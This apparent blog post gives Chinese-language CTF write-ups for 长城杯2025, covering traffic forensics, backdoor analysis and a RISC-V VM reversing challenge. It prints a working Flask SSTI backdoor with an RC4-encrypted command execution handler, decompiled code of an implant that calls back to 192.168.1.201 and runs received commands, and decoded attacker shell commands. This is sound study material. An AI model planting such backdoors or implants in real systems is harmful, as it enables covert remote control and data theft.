b'(\xb5/\xfd\x04\x00\x91\x00\x00\x08\x01\x12\x0e\x08\x01\x12\nnot a tty\n\xa2|\xd10\x9e\x033.\xcd\x95\xc4kPD\r||kf*'
----------------------------------------
Length: 58
----------------------------------------
b'(\xb5/\xfd\x04\x00\x89\x00\x00\x12\x0f\n\rpkill kworker\xc1C\xaf\x7f\xe2\x89\x12Y\x1b\xe6I<\xe5:\x17}\xcf>\xb2f'
----------------------------------------

看到这里

----------------------------------------
b'(\xb5/\xfd\x04\x00y\x00\x00\x12\r\n\x0bls /var/opt\xdd\xe3,Q{k\xe3\xf6\xe8tI`\xdf\x0b\x1f\xca\xc41\x96\x03'
----------------------------------------
Length: 54
----------------------------------------
b"(\xb5/\xfd\x04\x00i\x00\x00\x08\x01\x12\t\x12\x07secret\n\xe7W\x0f\x02\x12\xba\x88\x8ef'x\x9eW5\xc2?w\xe2\x9b\x04"
----------------------------------------
Length: 63
----------------------------------------
b'(\xb5/\xfd\x04\x00\xb1\x00\x00\x12\x14\n\x12base32 /var/opt/s*/\xf2\xa9\xf1\xbc#qD\xbcnz\x9e\xfa\n\x9b\xa6\xf5>\xea\xc8'
----------------------------------------
Length: 120
----------------------------------------
b'(\xb5/\xfd\x04\x00y\x02\x00\x08\x01\x12K\x12IMZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===\n\xa1o\xf2\x12\xf2LB\x0bg2\xfb\xa3\xfdQq\xe3\xd6\xb5=\xe5'
----------------------------------------

解码出

flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}

SnakeBackdoor#

图片都是wireshark或者cyberchef页面(

第一关#

直接找最后一次login

image-20251228143612530

第二关#

,往下发现在打ssti

找到

image-20251228143929645

第三关#

继续往下翻

image-20251228144313110

用cyberchef解

image-20251228144327844

倒序,base64,zlib

image-20251228145124504

多层

image-20251228145312529

最后

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

第四关#

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

弄出来压缩包带密码,看看前面发送什么

image-20251228150104993

密码弄到,交shell不对。。

怀疑改名

image-20251228150754274

第五关#

分析elf代码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+4h] [rbp-115Ch] BYREF
unsigned int v6; // [rsp+8h] [rbp-1158h] BYREF
unsigned int v7; // [rsp+Ch] [rbp-1154h] BYREF
_DWORD v8[4]; // [rsp+10h] [rbp-1150h] BYREF
_BYTE v9[128]; // [rsp+20h] [rbp-1140h] BYREF
_BYTE v10[128]; // [rsp+A0h] [rbp-10C0h] BYREF
char command[4096]; // [rsp+120h] [rbp-1040h] BYREF
struct sockaddr s; // [rsp+1120h] [rbp-40h] BYREF
int v13; // [rsp+1134h] [rbp-2Ch]
int v14; // [rsp+1138h] [rbp-28h]
int v15; // [rsp+113Ch] [rbp-24h]
FILE *stream; // [rsp+1140h] [rbp-20h]
int v17; // [rsp+1148h] [rbp-18h]
unsigned int seed; // [rsp+114Ch] [rbp-14h]
int fd; // [rsp+1150h] [rbp-10h]
int j; // [rsp+1154h] [rbp-Ch]
int v21; // [rsp+1158h] [rbp-8h]
int i; // [rsp+115Ch] [rbp-4h]
fd = socket(2, 1, 0);
if ( fd < 0 )
exit(1);
memset(&s, 48, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");
*(_WORD *)s.sa_data = htons(0xE59Eu);
if ( connect(fd, &s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4, 0) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();
sub_13B4(v10, v8, 0);
sub_13B4(v9, v8, 1);
while ( (unsigned int)sub_18ED((unsigned int)fd, &v6, 4, 0) == 4 )
{
v6 = (v6 >> 8) & 0xFF00 | (v6 << 8) & 0xFF0000 | (v6 << 24) | HIBYTE(v6);
if ( v6 <= 0x1000 && v6 && (v6 & 0xF) == 0 )
{
v21 = sub_18ED((unsigned int)fd, command, v6, 0);
if ( v21 != v6 )
break;
sub_1860(v10, 0, command, command, v21);
v17 = (unsigned __int8)command[v21 - 1];
if ( v17 && v17 <= 16 )
command[v21 - v17] = 0;
else
command[v21] = 0;
stream = popen(command, "r");
if ( stream )
{
v21 = fread(command, 1u, 0xFFFu, stream);
pclose(stream);
command[v21] = 0;
}
else
{
strcpy(command, "popen failed\n");
v21 = strlen(command);
}
v15 = v21;
v14 = 16 * (v21 / 16 + 1);
v13 = v14 - v21;
for ( j = v21; j < v14; command[j++] = v13 )
;
sub_1860(v9, 1, command, command, v14);
v5 = (v14 >> 8) & 0xFF00 | (v14 << 8) & 0xFF0000 | (v14 << 24) | (v14 >> 24);
if ( (unsigned int)sub_197F((unsigned int)fd, &v5, 4, 0) != 4 )
break;
v3 = sub_197F((unsigned int)fd, command, v14, 0);
if ( v14 != v3 )
break;
}
}
close(fd);
return 0;
}

随机数种子来自流量前4字节

if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4, 0) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);
srand(seed);

分析找到

image-20251228152244055

根据代码逻辑生成key

import ctypes
import struct
import binascii
SEED_INT = 882188358
def get_key(seed):
libc = ctypes.CDLL("libc.so.6")
print(f"[*] 使用种子 (int): {seed}")
libc.srand(seed)
key_bytes = b""
for _ in range(4):
r = libc.rand()
key_bytes += struct.pack("<I", r)
key_hex = binascii.hexlify(key_bytes).decode()
print("-" * 30)
print(f"[+] 密钥 (Hex): {key_hex}")
print("-" * 30)
if __name__ == "__main__":
get_key(SEED_INT)
[*] 使用种子 (int): 882188358
------------------------------
[+] 密钥 (Hex): ac46fb610b313b4f32fc642d8834b456

补档一下vvvmmm,赛后复现的

vvvmmm#

upx脱壳

没看到main从start开始看

先运行

(base) ➜ ~ ./vvvmmm
___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
|" \ /" ||" \ /" ||" \ /" ||" \ /" ||" \ /" ||" \ /" |
\ \ // / \ \ // / \ \ // / \ \ // | \ \ // | \ \ // |
\\ \/. ./ \\ \/. ./ \\ \/. ./ /\\ \/. | /\\ \/. | /\\ \/. |
\. // \. // \. // |: \. ||: \. ||: \. |
\\ / \\ / \\ / |. \ /: ||. \ /: ||. \ /: |
\__/ \__/ \__/ |___|\__/|___||___|\__/|___||___|\__/|___|
input %48c>a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Try again~

搜字符串没搜到

// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
_UNKNOWN *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
sub_51F450((unsigned int)sub_401C60, v4, (unsigned int)&retaddr, 0, 0, a3, (__int64)&v5);
}

看sub_401C60感觉就不对劲

sub_408330(*v72, 0, byte_64C3F0, 662);
sub_408850(*v72, 1879048192, 0x10000, 7);
*(_QWORD *)v55 = 1879113472;
sub_407DD0(*v72, 3, v55);
sub_408850(*v72, 0x10000000, 4096, 7);
sub_408850(*v72, 268439552, 4096, 7);
v19 = *v72;
v20 = j_ifunc_542170(v70);
sub_408330(v19, 0x10000000, v70, v20);
sub_408330(*v72, 268439552, &byte_64C6C0, 32);
*(_QWORD *)v56 = 0x10000000;
*(_QWORD *)v57 = 268439552;
sub_407DD0(*v72, 11, v56);
sub_407DD0(*v72, 12, v57);
sub_4099D0(*v72, 0, 662, 2000000, 0);

断点:下断点在 sub_4099D0 调用之前(此时解密已完成,但还没开始模拟)。

提取:找到存放指令的内存地址(即代码中作为参数传递进去的指针),将那 662 字节 的内容 Dump 出来,保存为 shellcode.bin

662字节应该是byte_64C3F0的内容

ida用RISC-V打开dump出来的bin文件

c转代码

倒是没有很长

直接c,p,f5反编译开始是出错了

问ai

你的 blob 长度就是 0x296,而“下一条顺序地址”就是 0x296。但 blob 到这里就没字节了。 这在“JIT/VM 执行的 raw blob”里很常见:用“跑出代码区 / 非法指令 trap”作为退出机制,宿主(你这里很像 sub_4099D0 那个执行器)读寄存器 a0 作为返回值。

所以 IDA 标 noreturn + Hex-Rays 给 JUMPOUT(0x296),其实是合理的。

如果你只是想让 IDA 反编译“好看”一点,可以在数据库里补两字节 c.jr ra82 80)或补 4 字节 ret67 80 00 00),但那是为了分析,不代表原始 blob 一定这么退出。

所以直接在bin文件末尾补67 80 00 00了

bool __fastcall sub_0(__int64 a1, _BYTE *a2)
{
__int64 v2; // a2
unsigned __int8 *v3; // a1
unsigned __int64 v4; // a4
unsigned __int64 v5; // a2
__int64 *v6; // a1
_DWORD *v7; // a0
unsigned __int64 v8; // a2
unsigned __int64 v9; // a3
__int64 v10; // a4
__int64 v11; // a5
__int64 v12; // a4
__int64 v13; // a5
int v15; // [sp+4h] [-34h]
_DWORD v16[12]; // [sp+8h] [-30h] BYREF
__int64 vars0; // [sp+38h] [+0h] BYREF
v2 = (unsigned __int8)*a2;
if ( *a2 )
{
v3 = a2 + 1;
v4 = 1;
do
{
v4 = 32 * v4 - (v4 - v2);
v2 = *v3++;
}
while ( v2 );
}
else
{
v4 = 1;
}
v5 = v4 >> 16;
v6 = (__int64 *)v16;
v7 = (_DWORD *)(a1 + 4);
do
{
v16[11] = 324508639;
v8 = (unsigned int)v5 % 0x13579BDF;
v9 = (unsigned int)v4 % 0x13579BDF;
v10 = (unsigned int)v8 % 0x13579BDF;
v11 = (unsigned int)v9 % 0x13579BDF;
v8 <<= 32;
v12 = (((unsigned __int64)(v10 << 32) * (unsigned __int128)v8) >> 64) % 0x13579BDF;
v9 <<= 32;
v13 = (((unsigned __int64)(v11 << 32) * (unsigned __int128)v9) >> 64) % 0x13579BDF;
v8 >>= 32;
v9 >>= 32;
v5 = v12 * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF
* v8
% 0x13579BDF
* v8
% 0x13579BDF
* v8
% 0x13579BDF
* v8
% 0x13579BDF
* v8
% 0x13579BDF;
v4 = v13 * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF
* v9
% 0x13579BDF
* v9
% 0x13579BDF
* v9
% 0x13579BDF
* v9
% 0x13579BDF
* v9
% 0x13579BDF;
LODWORD(v13) = *v7 ^ v4;
*((_DWORD *)v6 - 1) = *(v7 - 1) ^ v5;
*(_DWORD *)v6++ = v13;
v7 += 2;
}
while ( v6 != &vars0 );
return (v16[0] == 0x534762D2)
+ (v15 == 0x45034F63)
+ (v16[2] == 0x44C3ED6A)
+ (v16[1] == 0x44B36D04)
+ (v16[5] == 0x3EDB7E6C)
+ (v16[4] == 0x42A1E767)
+ (v16[3] == 0x79BB60B0)
+ (v16[7] == 0x4D3ABAA4)
+ (v16[6] == 0x30E1551D)
+ (v16[8] == 0x6AA29948)
+ (v16[9] == 0x51CE8847)
+ (v16[10] == 0x51623FAF) == 12;
}

这个32位的应该是key

sub_408330(*v72, 268439552, &byte_64C6C0, 32);

然后前面有异或修改

动调拿就行

知道key和最后密文,那这个算法肯定是可以逆向的了

最终脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import struct
import sys
MOD = 0x13579BDF
# 目标常量(sub_0 里最终比较的 12 个 32-bit 值)
W = [
0x45034F63,
0x534762D2,
0x44B36D04,
0x44C3ED6A,
0x79BB60B0,
0x42A1E767,
0x3EDB7E6C,
0x30E1551D,
0x4D3ABAA4,
0x6AA29948,
0x51CE8847,
0x51623FAF,
]
DEFAULT_KEY = b"e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ"
def u64(x: int) -> int:
return x & 0xFFFFFFFFFFFFFFFF
def hash64_like_sub0(key: bytes) -> int:
"""
对应 sub_0 开头:
v4=1
v4 = 31*v4 + b (uint64 溢出)
"""
h = 1
for b in key:
h = u64(31 * h + b)
return h
def prng_round(seed_hi: int, seed_lo: int):
"""
对应 sub_0 每轮更新:
x = (uint32)seed_lo % MOD
y = (uint32)seed_hi % MOD
seed_lo = x^13 mod MOD
seed_hi = y^13 mod MOD
其中 seed_hi 对应 v4,seed_lo 对应 v5
"""
x = (seed_lo & 0xFFFFFFFF) % MOD
y = (seed_hi & 0xFFFFFFFF) % MOD
new_lo = pow(x, 13, MOD)
new_hi = pow(y, 13, MOD)
return new_hi, new_lo # (v4, v5) 的新值
def recover_input(key: bytes) -> bytes:
h = hash64_like_sub0(key)
v4 = h
v5 = h >> 16
in_words = []
for k in range(6):
v4, v5 = prng_round(v4, v5) # 更新后 v5/v4 就是本轮 mask
mask_even = v5 & 0xFFFFFFFF # 给偶数 word(in[2k])
mask_odd = v4 & 0xFFFFFFFF # 给奇数 word(in[2k+1])
in_even = (W[2*k] ^ mask_even) & 0xFFFFFFFF
in_odd = (W[2*k+1] ^ mask_odd ) & 0xFFFFFFFF
in_words.append(in_even)
in_words.append(in_odd)
payload = b"".join(struct.pack("<I", w) for w in in_words)
return payload
def verify_like_sub0(key: bytes, payload: bytes) -> bool:
if len(payload) != 48:
return False
in_words = list(struct.unpack("<12I", payload))
h = hash64_like_sub0(key)
v4 = h
v5 = h >> 16
out = []
for k in range(6):
v4, v5 = prng_round(v4, v5)
mask_even = v5 & 0xFFFFFFFF
mask_odd = v4 & 0xFFFFFFFF
out_even = (in_words[2*k] ^ mask_even) & 0xFFFFFFFF
out_odd = (in_words[2*k+1] ^ mask_odd ) & 0xFFFFFFFF
out.append(out_even)
out.append(out_odd)
return out == W
def main():
key = DEFAULT_KEY
if len(sys.argv) >= 2:
key = sys.argv[1].encode()
payload = recover_input(key)
# 确认是否全 ASCII
try:
s = payload.decode("ascii")
except UnicodeDecodeError:
# 不应该发生;发生就打印 hex 方便你排查
print("[!] payload not ascii, hex =", payload.hex())
return
ok = verify_like_sub0(key, payload)
print("key =", key.decode("ascii", errors="replace"))
print("input =", s)
print("verify=", ok)
print("flag{"+s+"}")
if __name__ == "__main__":
main()
长城杯2025
https://mxym.github.io/posts/ccb2025/
作者
mxym
发布时间
2025-12-31
许可协议
CC BY-NC-SA 4.0